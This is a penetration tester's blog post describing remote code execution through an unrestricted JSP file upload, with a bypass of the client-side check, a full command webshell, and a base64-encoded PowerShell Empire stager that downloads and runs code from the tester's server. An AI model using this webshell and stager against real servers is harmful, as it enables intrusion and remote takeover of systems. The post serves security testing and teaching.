In Blog

JSP File Upload Remote Code Execution using PowerShell Empire

During a penetration test on a Web application, we have found a file upload functionality. File uploads are always interesting for a penetration tester because they are difficult to implement securely. The application was written in Java, so, one file type we are interested in is JSP files, because they will be executed by the server if we can upload and access them.

Because everything is not so easy, the feature only allows some specific file types and when you upload anything else, an error message is displayed on the Web page:

 

However, is this validation done on client-side only? Indeed, when intercepting the request with a proxy, such as Burp, we are able to switch back to any file extensions. This is promising! Here is an example of the HTTP request where we modify some data to upload any file extensions:

POST /path/feature.seam HTTP/1.1
...
...
-----------------------------211094238509232
Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp"
Content-Type: text/html
 <HTML>
   <HEAD>
     <TITLE>OKIOK TEST</TITLE>
   </HEAD>
   <BODY>
     <p>This is a test!</p>
   </BODY>
 </HTML>
-----------------------------211094238509232—

Now we need to find where the files are uploaded and verify if we can load it. The folder name “uploads” is always popular in terms of upload functionality.

Bingo! And, moreover, this is not only an HTML file, it was uploaded using a JSP extension, thus giving us a hint that Remote Code Execution may be possible. In this case, why not uploading a JSP backdoor on the server? Kali, through the package webshells, provides two examples:

/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/jsp/jsp-reverse.jsp

Here is an example of the cmdjsp.jsp file:

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
  <INPUT name='cmd' type=text>
  <INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%

String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
  String s = null;
  try {
    Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) {
      output += s;
    }
  }
  catch(IOException e) {
    e.printStackTrace();
  }
}
%>
<pre>
  <%=output %>
</pre>

When I uploaded the file, I got an error returned by the server. After multiple tries, I identified that the use of BufferedReader objects was causing some problems on the server side. The test was in black box mode, so this is nice when we do not call the client to ask him detailed logs because we have difficulty to perform code execution on its server!

So the next step was to use a more simplified JSP backdoor to validate what is working. I identifed that the simple ping request was working.

The code was looking like this:
 
POST /path/feature.seam HTTP/1.1
 ...
 ...
 -----------------------------211094238509232
 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp"
 Content-Type: text/html
<HTML>
  <HEAD>
    <TITLE>OKIOK TEST</TITLE>
  </HEAD>
  <BODY>
    <%@ page import="java.io.*" %>
    <%
       Process p = Runtime.getRuntime().exec("cmd.exe /C ping my.server");
    %>
  </BODY>
</HTML>
-----------------------------211094238509232—

And yes, I received ICMP request/reply (ping). Good, a remote code execution PoC! Can we do something more useful? Let use some Powershell Empire capability by injecting a stager directly on our payload.
First we install Powershell Empire (a server accessible directly from the Internet is required) :

git clone https://github.com/PowerShellEmpire/Empire.git
cd Empire/setup/
./install.sh
cd ..
./empire

Then we create a listener:

root@kali:~/Empire# ./empire
===========================================================================
Empire: PowerShell post-exploitation agent | [Version]: 1.3.3
===========================================================================
[Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
===========================================================================
   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|
125 modules currently loaded
 0 listeners currently active
 0 agents currently active
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > set Host https://my.server:80
(Empire: listeners) > run

Then we create a stager:

(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > generate
powershell.exe -NoP -NonI -W Hidden -Enc 
JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAF
cAZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAo
AFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQ
BkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUA
YwBrAG8AJwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC
0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZ
AHMAVABFAE0ALgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQ
BVAGwAVABXAGUAYgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQA
ZQBuAHQAaQBhAEwAcwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAG
UAbgB0AEkAQQBsAEMAYQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBS
AEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfA
BcAFIAZwBiACMAcwBbAG4AbwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQA
aQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAH
cAQwAuAEQATwBXAG4ATABvAEEAZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBt
AHkALgBzAGUAcgB2AGUAcgA6ADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfA
AlAHsAJABfAC0AYgBYAE8AcgAkAEsAWwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgA
XQB9ADsASQBFAFgAIAAoACQAQgAtAGoATwBJAG4AJwAnACkA

The final HTTP request was looking like this:
 POST /path/feature.seam HTTP/1.1
 ...
 ...
 -----------------------------211094238509232
 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp"
 Content-Type: text/html

 <HTML>
   <HEAD>
     <TITLE>OKIOK TEST</TITLE>
   </HEAD>
   <BODY>
     <%@ page import="java.io.*" %>
     <%
Process p = Runtime.getRuntime().exec("cmd.exe /C powershell.exe -NoP -NonI -W Hidden -Enc JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAFcA
ZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcA
aQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUA
bgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8A
JwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUA
bgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZAHMAVABFAE0A
LgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQBVAGwAVABXAGUA
YgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQAZQBuAHQAaQBhAEwA
cwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAGUAbgB0AEkAQQBsAEMA
YQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBSAEsAQwBSAEUARABFAE4A
dABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfABcAFIAZwBiACMAcwBbAG4A
bwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIA
WwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAQwAuAEQATwBXAG4ATABvAEEA
ZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBtAHkALgBzAGUAcgB2AGUAcgA6ADgA
MAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAE8AcgAkAEsA
WwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAGoA
TwBJAG4AJwAnACkA");
     %>
   </BODY>
 </HTML>
 -----------------------------211094238509232—
And what do we get in our Empire interface:
(Empire: agents) > [+] Initial agent 3WVIENA934K99AF9 from IP now active

An active agent has just connected back on our server, we are in J

The next step is to extract some sensitive information. After some investigations, we … [removed content] … Sorry, sometimes confidentiality must be respected!

Leave a Comment

Start typing and press Enter to search